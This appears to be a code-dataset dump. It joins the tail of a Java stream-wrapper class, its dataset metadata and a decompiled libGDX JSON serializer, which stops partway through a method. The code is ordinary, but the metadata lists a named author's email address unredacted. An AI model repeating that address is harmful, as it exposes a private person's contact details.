position++;
return parent.read();
}
@Override
public int read(byte[] b) throws IOException {
int read = parent.read(b);
position += read;
return read;
}
@Override
public int read(byte[] b, int off, int len) throws IOException {
int read = parent.read(b, off, len);
position += read;
return read;
}
@Override
public long skip(long n) throws IOException {
long skipped = super.skip(n);
position += skipped;
return skipped;
}
@Override
public void close() throws IOException {
}
}
|
UTF-8
|
Java
| 2,487 |
java
|
LimitedNonClosingInputStream.java
|
Java
|
[
{
"context": "/*\n * The MIT License (MIT)\n * Copyright (c) 2013 Mark Paluch\n *\n * Permission is hereby granted, free of charg",
"end": 61,
"score": 0.9998065829277039,
"start": 50,
"tag": "NAME",
"value": "Mark Paluch"
},
{
"context": "n-Closing InputStream.\n * @author <a href=\"mailto:mpaluch@paluch.biz\">Mark Paluch</a>\n * @since 08.04.13 12:43\n */\npub",
"end": 1325,
"score": 0.9999298453330994,
"start": 1307,
"tag": "EMAIL",
"value": "mpaluch@paluch.biz"
},
{
"context": "m.\n * @author <a href=\"mailto:mpaluch@paluch.biz\">Mark Paluch</a>\n * @since 08.04.13 12:43\n */\npublic class Lim",
"end": 1338,
"score": 0.9998435974121094,
"start": 1327,
"tag": "NAME",
"value": "Mark Paluch"
}
] | null |
[] |
/*
* The MIT License (MIT)
* Copyright (c) 2013 <NAME>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package biz.paluch.maven.configurator;
import java.io.IOException;
import java.io.InputStream;
/**
* Limited and Non-Closing InputStream.
* @author <a href="mailto:<EMAIL>"><NAME></a>
* @since 08.04.13 12:43
*/
public class LimitedNonClosingInputStream extends InputStream {
private long position = 0;
private long limit = 0;
private InputStream parent;
public LimitedNonClosingInputStream(long limit, InputStream parent) {
this.limit = limit;
this.parent = parent;
}
@Override
public int available() throws IOException {
long result = limit - position;
return (int) result;
}
@Override
public int read() throws IOException {
position++;
return parent.read();
}
@Override
public int read(byte[] b) throws IOException {
int read = parent.read(b);
position += read;
return read;
}
@Override
public int read(byte[] b, int off, int len) throws IOException {
int read = parent.read(b, off, len);
position += read;
return read;
}
@Override
public long skip(long n) throws IOException {
long skipped = super.skip(n);
position += skipped;
return skipped;
}
@Override
public void close() throws IOException {
}
}
| 2,466 | 0.684761 | 0.678327 | 82 | 29.329268 | 27.532267 | 86 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.585366 | false | false |
8
|
fc5f1aac591170a8eb2e761ac53e4c0ea95683c0
| 14,199,161,946,895 |
fab5388db29b02133ef6d39b9c51a4701a7c54ce
|
/core/src/com/badlogic/gdx/utils/Json.java
|
dff4fd749dd6e322ef8582682046d1587ef7e61e
|
[] |
no_license
|
satori87/discontinuum
|
https://github.com/satori87/discontinuum
|
08e3680542a5b18287fc8e9118d9c2ec70365669
|
6cccd3a1cc081520eaa7f9ce374eeecb68d69008
|
refs/heads/master
| 2021-05-23T14:35:08.061000 | 2020-04-05T22:38:45 | 2020-04-05T22:38:45 | 253,337,366 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
//
// Decompiled by Procyon v0.5.36
//
package com.badlogic.gdx.utils;
import com.badlogic.gdx.utils.reflect.Constructor;
import java.io.InputStream;
import java.io.Reader;
import java.util.HashMap;
import java.util.Map;
import com.badlogic.gdx.utils.reflect.ArrayReflection;
import java.io.IOException;
import java.util.Iterator;
import com.badlogic.gdx.utils.reflect.ReflectionException;
import java.util.Arrays;
import java.io.Closeable;
import com.badlogic.gdx.files.FileHandle;
import java.io.Writer;
import java.io.StringWriter;
import java.lang.annotation.Annotation;
import java.security.AccessControlException;
import java.util.Collection;
import java.util.Collections;
import com.badlogic.gdx.utils.reflect.ClassReflection;
import com.badlogic.gdx.utils.reflect.Field;
import java.util.ArrayList;
public class Json
{
private static final boolean debug = false;
private JsonWriter writer;
private String typeName;
private boolean usePrototypes;
private JsonWriter.OutputType outputType;
private boolean quoteLongValues;
private boolean ignoreUnknownFields;
private boolean ignoreDeprecated;
private boolean readDeprecated;
private boolean enumNames;
private Serializer defaultSerializer;
private final ObjectMap<Class, OrderedMap<String, FieldMetadata>> typeToFields;
private final ObjectMap<String, Class> tagToClass;
private final ObjectMap<Class, String> classToTag;
private final ObjectMap<Class, Serializer> classToSerializer;
private final ObjectMap<Class, Object[]> classToDefaultValues;
private final Object[] equals1;
private final Object[] equals2;
public Json() {
this.typeName = "class";
this.usePrototypes = true;
this.enumNames = true;
this.typeToFields = new ObjectMap<Class, OrderedMap<String, FieldMetadata>>();
this.tagToClass = new ObjectMap<String, Class>();
this.classToTag = new ObjectMap<Class, String>();
this.classToSerializer = new ObjectMap<Class, Serializer>();
this.classToDefaultValues = new ObjectMap<Class, Object[]>();
this.equals1 = new Object[1];
this.equals2 = new Object[1];
this.outputType = JsonWriter.OutputType.minimal;
}
public Json(final JsonWriter.OutputType outputType) {
this.typeName = "class";
this.usePrototypes = true;
this.enumNames = true;
this.typeToFields = new ObjectMap<Class, OrderedMap<String, FieldMetadata>>();
this.tagToClass = new ObjectMap<String, Class>();
this.classToTag = new ObjectMap<Class, String>();
this.classToSerializer = new ObjectMap<Class, Serializer>();
this.classToDefaultValues = new ObjectMap<Class, Object[]>();
this.equals1 = new Object[1];
this.equals2 = new Object[1];
this.outputType = outputType;
}
public void setIgnoreUnknownFields(final boolean ignoreUnknownFields) {
this.ignoreUnknownFields = ignoreUnknownFields;
}
public boolean getIgnoreUnknownFields() {
return this.ignoreUnknownFields;
}
public void setIgnoreDeprecated(final boolean ignoreDeprecated) {
this.ignoreDeprecated = ignoreDeprecated;
}
public void setReadDeprecated(final boolean readDeprecated) {
this.readDeprecated = readDeprecated;
}
public void setOutputType(final JsonWriter.OutputType outputType) {
this.outputType = outputType;
}
public void setQuoteLongValues(final boolean quoteLongValues) {
this.quoteLongValues = quoteLongValues;
}
public void setEnumNames(final boolean enumNames) {
this.enumNames = enumNames;
}
public void addClassTag(final String tag, final Class type) {
this.tagToClass.put(tag, type);
this.classToTag.put(type, tag);
}
public Class getClass(final String tag) {
return this.tagToClass.get(tag);
}
public String getTag(final Class type) {
return this.classToTag.get(type);
}
public void setTypeName(final String typeName) {
this.typeName = typeName;
}
public void setDefaultSerializer(final Serializer defaultSerializer) {
this.defaultSerializer = defaultSerializer;
}
public <T> void setSerializer(final Class<T> type, final Serializer<T> serializer) {
this.classToSerializer.put(type, serializer);
}
public <T> Serializer<T> getSerializer(final Class<T> type) {
return this.classToSerializer.get(type);
}
public void setUsePrototypes(final boolean usePrototypes) {
this.usePrototypes = usePrototypes;
}
public void setElementType(final Class type, final String fieldName, final Class elementType) {
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final FieldMetadata metadata = fields.get(fieldName);
if (metadata == null) {
throw new SerializationException("Field not found: " + fieldName + " (" + type.getName() + ")");
}
metadata.elementType = elementType;
}
private OrderedMap<String, FieldMetadata> getFields(final Class type) {
final OrderedMap<String, FieldMetadata> fields = this.typeToFields.get(type);
if (fields != null) {
return fields;
}
final Array<Class> classHierarchy = new Array<Class>();
for (Class nextClass = type; nextClass != Object.class; nextClass = nextClass.getSuperclass()) {
classHierarchy.add(nextClass);
}
final ArrayList<Field> allFields = new ArrayList<Field>();
for (int i = classHierarchy.size - 1; i >= 0; --i) {
Collections.addAll(allFields, ClassReflection.getDeclaredFields(classHierarchy.get(i)));
}
final OrderedMap<String, FieldMetadata> nameToField = new OrderedMap<String, FieldMetadata>(allFields.size());
for (int j = 0, n = allFields.size(); j < n; ++j) {
final Field field = allFields.get(j);
if (!field.isTransient()) {
if (!field.isStatic()) {
if (!field.isSynthetic()) {
if (!field.isAccessible()) {
try {
field.setAccessible(true);
}
catch (AccessControlException ex) {
continue;
}
}
if (!this.ignoreDeprecated || this.readDeprecated || !field.isAnnotationPresent(Deprecated.class)) {
nameToField.put(field.getName(), new FieldMetadata(field));
}
}
}
}
}
this.typeToFields.put(type, nameToField);
return nameToField;
}
public String toJson(final Object object) {
return this.toJson(object, (object == null) ? null : object.getClass(), (Class)null);
}
public String toJson(final Object object, final Class knownType) {
return this.toJson(object, knownType, (Class)null);
}
public String toJson(final Object object, final Class knownType, final Class elementType) {
final StringWriter buffer = new StringWriter();
this.toJson(object, knownType, elementType, buffer);
return buffer.toString();
}
public void toJson(final Object object, final FileHandle file) {
this.toJson(object, (object == null) ? null : object.getClass(), null, file);
}
public void toJson(final Object object, final Class knownType, final FileHandle file) {
this.toJson(object, knownType, null, file);
}
public void toJson(final Object object, final Class knownType, final Class elementType, final FileHandle file) {
Writer writer = null;
try {
writer = file.writer(false, "UTF-8");
this.toJson(object, knownType, elementType, writer);
}
catch (Exception ex) {
throw new SerializationException("Error writing file: " + file, ex);
}
finally {
StreamUtils.closeQuietly(writer);
}
StreamUtils.closeQuietly(writer);
}
public void toJson(final Object object, final Writer writer) {
this.toJson(object, (object == null) ? null : object.getClass(), null, writer);
}
public void toJson(final Object object, final Class knownType, final Writer writer) {
this.toJson(object, knownType, null, writer);
}
public void toJson(final Object object, final Class knownType, final Class elementType, final Writer writer) {
this.setWriter(writer);
try {
this.writeValue(object, knownType, elementType);
}
finally {
StreamUtils.closeQuietly(this.writer);
this.writer = null;
}
StreamUtils.closeQuietly(this.writer);
this.writer = null;
}
public void setWriter(Writer writer) {
if (!(writer instanceof JsonWriter)) {
writer = new JsonWriter(writer);
}
(this.writer = (JsonWriter)writer).setOutputType(this.outputType);
this.writer.setQuoteLongValues(this.quoteLongValues);
}
public JsonWriter getWriter() {
return this.writer;
}
public void writeFields(final Object object) {
final Class type = object.getClass();
final Object[] defaultValues = this.getDefaultValues(type);
final OrderedMap<String, FieldMetadata> fields = this.getFields(type);
int i = 0;
for (final FieldMetadata metadata : new OrderedMap.OrderedMapValues<Object>((OrderedMap<?, Object>)fields)) {
final Field field = metadata.field;
if (this.readDeprecated && this.ignoreDeprecated && field.isAnnotationPresent(Deprecated.class)) {
continue;
}
try {
final Object value = field.get(object);
if (defaultValues != null) {
final Object defaultValue = defaultValues[i++];
if (value == null && defaultValue == null) {
continue;
}
if (value != null && defaultValue != null) {
if (value.equals(defaultValue)) {
continue;
}
if (value.getClass().isArray() && defaultValue.getClass().isArray()) {
this.equals1[0] = value;
this.equals2[0] = defaultValue;
if (Arrays.deepEquals(this.equals1, this.equals2)) {
continue;
}
}
}
}
this.writer.name(field.getName());
this.writeValue(value, field.getType(), metadata.elementType);
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(field + " (" + type.getName() + ")");
throw ex2;
}
catch (Exception runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(field + " (" + type.getName() + ")");
throw ex3;
}
}
}
private Object[] getDefaultValues(final Class type) {
if (!this.usePrototypes) {
return null;
}
if (this.classToDefaultValues.containsKey(type)) {
return this.classToDefaultValues.get(type);
}
Object object;
try {
object = this.newInstance(type);
}
catch (Exception ex4) {
this.classToDefaultValues.put(type, null);
return null;
}
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final Object[] values = new Object[fields.size];
this.classToDefaultValues.put(type, values);
int i = 0;
for (final FieldMetadata metadata : fields.values()) {
final Field field = metadata.field;
if (this.readDeprecated && this.ignoreDeprecated && field.isAnnotationPresent(Deprecated.class)) {
continue;
}
try {
values[i++] = field.get(object);
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(field + " (" + type.getName() + ")");
throw ex2;
}
catch (RuntimeException runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(field + " (" + type.getName() + ")");
throw ex3;
}
}
return values;
}
public void writeField(final Object object, final String name) {
this.writeField(object, name, name, null);
}
public void writeField(final Object object, final String name, final Class elementType) {
this.writeField(object, name, name, elementType);
}
public void writeField(final Object object, final String fieldName, final String jsonName) {
this.writeField(object, fieldName, jsonName, null);
}
public void writeField(final Object object, final String fieldName, final String jsonName, Class elementType) {
final Class type = object.getClass();
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final FieldMetadata metadata = fields.get(fieldName);
if (metadata == null) {
throw new SerializationException("Field not found: " + fieldName + " (" + type.getName() + ")");
}
final Field field = metadata.field;
if (elementType == null) {
elementType = metadata.elementType;
}
try {
this.writer.name(jsonName);
this.writeValue(field.get(object), field.getType(), elementType);
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(field + " (" + type.getName() + ")");
throw ex2;
}
catch (Exception runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(field + " (" + type.getName() + ")");
throw ex3;
}
}
public void writeValue(final String name, final Object value) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
if (value == null) {
this.writeValue(value, null, null);
}
else {
this.writeValue(value, value.getClass(), null);
}
}
public void writeValue(final String name, final Object value, final Class knownType) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeValue(value, knownType, null);
}
public void writeValue(final String name, final Object value, final Class knownType, final Class elementType) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeValue(value, knownType, elementType);
}
public void writeValue(final Object value) {
if (value == null) {
this.writeValue(value, null, null);
}
else {
this.writeValue(value, value.getClass(), null);
}
}
public void writeValue(final Object value, final Class knownType) {
this.writeValue(value, knownType, null);
}
public void writeValue(final Object value, Class knownType, Class elementType) {
try {
if (value == null) {
this.writer.value(null);
return;
}
if ((knownType != null && ((Class)knownType).isPrimitive()) || knownType == String.class || knownType == Integer.class || knownType == Boolean.class || knownType == Float.class || knownType == Long.class || knownType == Double.class || knownType == Short.class || knownType == Byte.class || knownType == Character.class) {
this.writer.value(value);
return;
}
Class actualType = value.getClass();
if (actualType.isPrimitive() || actualType == String.class || actualType == Integer.class || actualType == Boolean.class || actualType == Float.class || actualType == Long.class || actualType == Double.class || actualType == Short.class || actualType == Byte.class || actualType == Character.class) {
this.writeObjectStart(actualType, null);
this.writeValue("value", value);
this.writeObjectEnd();
return;
}
if (value instanceof Serializable) {
this.writeObjectStart(actualType, (Class)knownType);
((Serializable)value).write(this);
this.writeObjectEnd();
return;
}
final Serializer serializer = this.classToSerializer.get(actualType);
if (serializer != null) {
serializer.write(this, value, (Class)knownType);
return;
}
if (value instanceof Array) {
if (knownType != null && actualType != knownType && actualType != Array.class) {
throw new SerializationException("Serialization of an Array other than the known type is not supported.\nKnown type: " + knownType + "\nActual type: " + actualType);
}
this.writeArrayStart();
final Array array = (Array)value;
for (int i = 0, n = array.size; i < n; ++i) {
this.writeValue(array.get(i), elementType, null);
}
this.writeArrayEnd();
}
else if (value instanceof Queue) {
if (knownType != null && actualType != knownType && actualType != Queue.class) {
throw new SerializationException("Serialization of a Queue other than the known type is not supported.\nKnown type: " + knownType + "\nActual type: " + actualType);
}
this.writeArrayStart();
final Queue queue = (Queue)value;
for (int i = 0, n = queue.size; i < n; ++i) {
this.writeValue(queue.get(i), elementType, null);
}
this.writeArrayEnd();
}
else {
if (value instanceof Collection) {
if (this.typeName != null && actualType != ArrayList.class && (knownType == null || knownType != actualType)) {
this.writeObjectStart(actualType, (Class)knownType);
this.writeArrayStart("items");
for (final Object item : (Collection)value) {
this.writeValue(item, elementType, null);
}
this.writeArrayEnd();
this.writeObjectEnd();
}
else {
this.writeArrayStart();
for (final Object item : (Collection)value) {
this.writeValue(item, elementType, null);
}
this.writeArrayEnd();
}
return;
}
if (actualType.isArray()) {
if (elementType == null) {
elementType = actualType.getComponentType();
}
final int length = ArrayReflection.getLength(value);
this.writeArrayStart();
for (int i = 0; i < length; ++i) {
this.writeValue(ArrayReflection.get(value, i), elementType, null);
}
this.writeArrayEnd();
return;
}
if (value instanceof ObjectMap) {
if (knownType == null) {
knownType = ObjectMap.class;
}
this.writeObjectStart(actualType, (Class)knownType);
for (final ObjectMap.Entry entry : ((ObjectMap)value).entries()) {
this.writer.name(this.convertToString(entry.key));
this.writeValue(entry.value, elementType, null);
}
this.writeObjectEnd();
return;
}
if (value instanceof ArrayMap) {
if (knownType == null) {
knownType = ArrayMap.class;
}
this.writeObjectStart(actualType, (Class)knownType);
final ArrayMap map = (ArrayMap)value;
for (int i = 0, n = map.size; i < n; ++i) {
this.writer.name(this.convertToString(map.keys[i]));
this.writeValue(map.values[i], elementType, null);
}
this.writeObjectEnd();
return;
}
if (value instanceof Map) {
if (knownType == null) {
knownType = HashMap.class;
}
this.writeObjectStart(actualType, (Class)knownType);
for (final Map.Entry entry2 : ((Map)value).entrySet()) {
this.writer.name(this.convertToString(entry2.getKey()));
this.writeValue(entry2.getValue(), elementType, null);
}
this.writeObjectEnd();
return;
}
if (ClassReflection.isAssignableFrom(Enum.class, actualType)) {
if (this.typeName != null && (knownType == null || knownType != actualType)) {
if (actualType.getEnumConstants() == null) {
actualType = actualType.getSuperclass();
}
this.writeObjectStart(actualType, null);
this.writer.name("value");
this.writer.value(this.convertToString((Enum)value));
this.writeObjectEnd();
}
else {
this.writer.value(this.convertToString((Enum)value));
}
return;
}
this.writeObjectStart(actualType, (Class)knownType);
this.writeFields(value);
this.writeObjectEnd();
}
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeObjectStart(final String name) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeObjectStart();
}
public void writeObjectStart(final String name, final Class actualType, final Class knownType) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeObjectStart(actualType, knownType);
}
public void writeObjectStart() {
try {
this.writer.object();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeObjectStart(final Class actualType, final Class knownType) {
try {
this.writer.object();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
if (knownType == null || knownType != actualType) {
this.writeType(actualType);
}
}
public void writeObjectEnd() {
try {
this.writer.pop();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeArrayStart(final String name) {
try {
this.writer.name(name);
this.writer.array();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeArrayStart() {
try {
this.writer.array();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeArrayEnd() {
try {
this.writer.pop();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeType(final Class type) {
if (this.typeName == null) {
return;
}
String className = this.getTag(type);
if (className == null) {
className = type.getName();
}
try {
this.writer.set(this.typeName, className);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public <T> T fromJson(final Class<T> type, final Reader reader) {
return this.readValue(type, null, new JsonReader().parse(reader));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final Reader reader) {
return this.readValue(type, elementType, new JsonReader().parse(reader));
}
public <T> T fromJson(final Class<T> type, final InputStream input) {
return this.readValue(type, null, new JsonReader().parse(input));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final InputStream input) {
return this.readValue(type, elementType, new JsonReader().parse(input));
}
public <T> T fromJson(final Class<T> type, final FileHandle file) {
try {
return this.readValue(type, null, new JsonReader().parse(file));
}
catch (Exception ex) {
throw new SerializationException("Error reading file: " + file, ex);
}
}
public <T> T fromJson(final Class<T> type, final Class elementType, final FileHandle file) {
try {
return this.readValue(type, elementType, new JsonReader().parse(file));
}
catch (Exception ex) {
throw new SerializationException("Error reading file: " + file, ex);
}
}
public <T> T fromJson(final Class<T> type, final char[] data, final int offset, final int length) {
return this.readValue(type, null, new JsonReader().parse(data, offset, length));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final char[] data, final int offset, final int length) {
return this.readValue(type, elementType, new JsonReader().parse(data, offset, length));
}
public <T> T fromJson(final Class<T> type, final String json) {
return this.readValue(type, null, new JsonReader().parse(json));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final String json) {
return this.readValue(type, elementType, new JsonReader().parse(json));
}
public void readField(final Object object, final String name, final JsonValue jsonData) {
this.readField(object, name, name, null, jsonData);
}
public void readField(final Object object, final String name, final Class elementType, final JsonValue jsonData) {
this.readField(object, name, name, elementType, jsonData);
}
public void readField(final Object object, final String fieldName, final String jsonName, final JsonValue jsonData) {
this.readField(object, fieldName, jsonName, null, jsonData);
}
public void readField(final Object object, final String fieldName, final String jsonName, Class elementType, final JsonValue jsonMap) {
final Class type = object.getClass();
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final FieldMetadata metadata = fields.get(fieldName);
if (metadata == null) {
throw new SerializationException("Field not found: " + fieldName + " (" + type.getName() + ")");
}
final Field field = metadata.field;
if (elementType == null) {
elementType = metadata.elementType;
}
this.readField(object, field, jsonName, elementType, jsonMap);
}
public void readField(final Object object, final Field field, final String jsonName, final Class elementType, final JsonValue jsonMap) {
final JsonValue jsonValue = jsonMap.get(jsonName);
if (jsonValue == null) {
return;
}
try {
field.set(object, this.readValue((Class<Object>)field.getType(), elementType, jsonValue));
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + field.getDeclaringClass().getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(String.valueOf(field.getName()) + " (" + field.getDeclaringClass().getName() + ")");
throw ex2;
}
catch (RuntimeException runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(jsonValue.trace());
ex3.addTrace(String.valueOf(field.getName()) + " (" + field.getDeclaringClass().getName() + ")");
throw ex3;
}
}
public void readFields(final Object object, final JsonValue jsonMap) {
final Class type = object.getClass();
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
for (JsonValue child = jsonMap.child; child != null; child = child.next) {
final FieldMetadata metadata = fields.get(child.name().replace(" ", "_"));
if (metadata == null) {
if (!child.name.equals(this.typeName)) {
if (!this.ignoreUnknownFields) {
if (!this.ignoreUnknownField(type, child.name)) {
final SerializationException ex = new SerializationException("Field not found: " + child.name + " (" + type.getName() + ")");
ex.addTrace(child.trace());
throw ex;
}
}
}
}
else {
final Field field = metadata.field;
try {
field.set(object, this.readValue((Class<Object>)field.getType(), metadata.elementType, child));
}
catch (ReflectionException ex2) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex2);
}
catch (SerializationException ex3) {
ex3.addTrace(String.valueOf(field.getName()) + " (" + type.getName() + ")");
throw ex3;
}
catch (RuntimeException runtimeEx) {
final SerializationException ex4 = new SerializationException(runtimeEx);
ex4.addTrace(child.trace());
ex4.addTrace(String.valueOf(field.getName()) + " (" + type.getName() + ")");
throw ex4;
}
}
}
}
protected boolean ignoreUnknownField(final Class type, final String fieldName) {
return false;
}
public <T> T readValue(final String name, final Class<T> type, final JsonValue jsonMap) {
return this.readValue(type, null, jsonMap.get(name));
}
public <T> T readValue(final String name, final Class<T> type, final T defaultValue, final JsonValue jsonMap) {
final JsonValue jsonValue = jsonMap.get(name);
if (jsonValue == null) {
return defaultValue;
}
return this.readValue(type, null, jsonValue);
}
public <T> T readValue(final String name, final Class<T> type, final Class elementType, final JsonValue jsonMap) {
return this.readValue(type, elementType, jsonMap.get(name));
}
public <T> T readValue(final String name, final Class<T> type, final Class elementType, final T defaultValue, final JsonValue jsonMap) {
final JsonValue jsonValue = jsonMap.get(name);
return this.readValue(type, elementType, defaultValue, jsonValue);
}
public <T> T readValue(final Class<T> type, final Class elementType, final T defaultValue, final JsonValue jsonData) {
if (jsonData == null) {
return defaultValue;
}
return this.readValue(type, elementType, jsonData);
}
public <T> T readValue(final Class<T> type, final JsonValue jsonData) {
return this.readValue(type, null, jsonData);
}
public <T> T readValue(Class<T> type, Class elementType, JsonValue jsonData) {
if (jsonData == null) {
return null;
}
if (jsonData.isObject()) {
final String className = (this.typeName == null) ? null : jsonData.getString(this.typeName, null);
if (className != null) {
type = (Class<T>)this.getClass(className);
if (type == null) {
try {
type = (Class<T>)ClassReflection.forName(className);
}
catch (ReflectionException ex) {
throw new SerializationException(ex);
}
}
}
if (type == null) {
if (this.defaultSerializer != null) {
return this.defaultSerializer.read(this, jsonData, type);
}
return (T)jsonData;
}
else if (this.typeName != null && ClassReflection.isAssignableFrom(Collection.class, type)) {
jsonData = jsonData.get("items");
if (jsonData == null) {
throw new SerializationException("Unable to convert object to collection: " + jsonData + " (" + type.getName() + ")");
}
}
else {
final Serializer serializer = this.classToSerializer.get(type);
if (serializer != null) {
return serializer.read(this, jsonData, type);
}
if (type == String.class || type == Integer.class || type == Boolean.class || type == Float.class || type == Long.class || type == Double.class || type == Short.class || type == Byte.class || type == Character.class || ClassReflection.isAssignableFrom(Enum.class, type)) {
return this.readValue("value", type, jsonData);
}
final Object object = this.newInstance(type);
if (object instanceof Serializable) {
((Serializable)object).read(this, jsonData);
return (T)object;
}
if (object instanceof ObjectMap) {
final ObjectMap result = (ObjectMap)object;
for (JsonValue child = jsonData.child; child != null; child = child.next) {
result.put(child.name, this.readValue((Class<Object>)elementType, null, child));
}
return (T)result;
}
if (object instanceof ArrayMap) {
final ArrayMap result2 = (ArrayMap)object;
for (JsonValue child = jsonData.child; child != null; child = child.next) {
result2.put(child.name, this.readValue((Class<Object>)elementType, null, child));
}
return (T)result2;
}
if (object instanceof Map) {
final Map result3 = (Map)object;
for (JsonValue child = jsonData.child; child != null; child = child.next) {
if (!child.name.equals(this.typeName)) {
result3.put(child.name, this.readValue((Class<Object>)elementType, null, child));
}
}
return (T)result3;
}
this.readFields(object, jsonData);
return (T)object;
}
}
if (type != null) {
final Serializer serializer2 = this.classToSerializer.get(type);
if (serializer2 != null) {
return serializer2.read(this, jsonData, type);
}
if (ClassReflection.isAssignableFrom(Serializable.class, type)) {
final Object object2 = this.newInstance(type);
((Serializable)object2).read(this, jsonData);
return (T)object2;
}
}
if (jsonData.isArray()) {
if (type == null || type == Object.class) {
type = (Class<T>)Array.class;
}
if (ClassReflection.isAssignableFrom(Array.class, type)) {
final Array result4 = (Array)((type == Array.class) ? new Array() : this.newInstance(type));
for (JsonValue child2 = jsonData.child; child2 != null; child2 = child2.next) {
result4.add(this.readValue((Class<Object>)elementType, null, child2));
}
return (T)result4;
}
if (ClassReflection.isAssignableFrom(Queue.class, type)) {
final Queue result5 = (Queue)((type == Queue.class) ? new Queue() : this.newInstance(type));
for (JsonValue child2 = jsonData.child; child2 != null; child2 = child2.next) {
result5.addLast(this.readValue((Class<Object>)elementType, null, child2));
}
return (T)result5;
}
if (ClassReflection.isAssignableFrom(Collection.class, type)) {
final Collection result6 = type.isInterface() ? new ArrayList() : ((Collection)this.newInstance(type));
for (JsonValue child2 = jsonData.child; child2 != null; child2 = child2.next) {
result6.add(this.readValue((Class<Object>)elementType, null, child2));
}
return (T)result6;
}
if (type.isArray()) {
final Class componentType = type.getComponentType();
if (elementType == null) {
elementType = componentType;
}
final Object result7 = ArrayReflection.newInstance(componentType, jsonData.size);
int i = 0;
for (JsonValue child3 = jsonData.child; child3 != null; child3 = child3.next) {
ArrayReflection.set(result7, i++, this.readValue((Class<Object>)elementType, null, child3));
}
return (T)result7;
}
throw new SerializationException("Unable to convert value to required type: " + jsonData + " (" + type.getName() + ")");
}
else {
if (jsonData.isNumber()) {
try {
if (type == null || type == Float.TYPE || type == Float.class) {
return (T)Float.valueOf(jsonData.asFloat());
}
if (type == Integer.TYPE || type == Integer.class) {
return (T)Integer.valueOf(jsonData.asInt());
}
if (type == Long.TYPE || type == Long.class) {
return (T)Long.valueOf(jsonData.asLong());
}
if (type == Double.TYPE || type == Double.class) {
return (T)Double.valueOf(jsonData.asDouble());
}
if (type == String.class) {
return (T)jsonData.asString();
}
if (type == Short.TYPE || type == Short.class) {
return (T)Short.valueOf(jsonData.asShort());
}
if (type == Byte.TYPE || type == Byte.class) {
return (T)Byte.valueOf(jsonData.asByte());
}
}
catch (NumberFormatException ex2) {}
jsonData = new JsonValue(jsonData.asString());
}
if (jsonData.isBoolean()) {
try {
if (type == null || type == Boolean.TYPE || type == Boolean.class) {
return (T)Boolean.valueOf(jsonData.asBoolean());
}
}
catch (NumberFormatException ex3) {}
jsonData = new JsonValue(jsonData.asString());
}
if (!jsonData.isString()) {
return null;
}
final String string = jsonData.asString();
if (type == null || type == String.class) {
return (T)string;
}
try {
if (type == Integer.TYPE || type == Integer.class) {
return (T)Integer.valueOf(string);
}
if (type == Float.TYPE || type == Float.class) {
return (T)Float.valueOf(string);
}
if (type == Long.TYPE || type == Long.class) {
return (T)Long.valueOf(string);
}
if (type == Double.TYPE || type == Double.class) {
return (T)Double.valueOf(string);
}
if (type == Short.TYPE || type == Short.class) {
return (T)Short.valueOf(string);
}
if (type == Byte.TYPE || type == Byte.class) {
return (T)Byte.valueOf(string);
}
}
catch (NumberFormatException ex4) {}
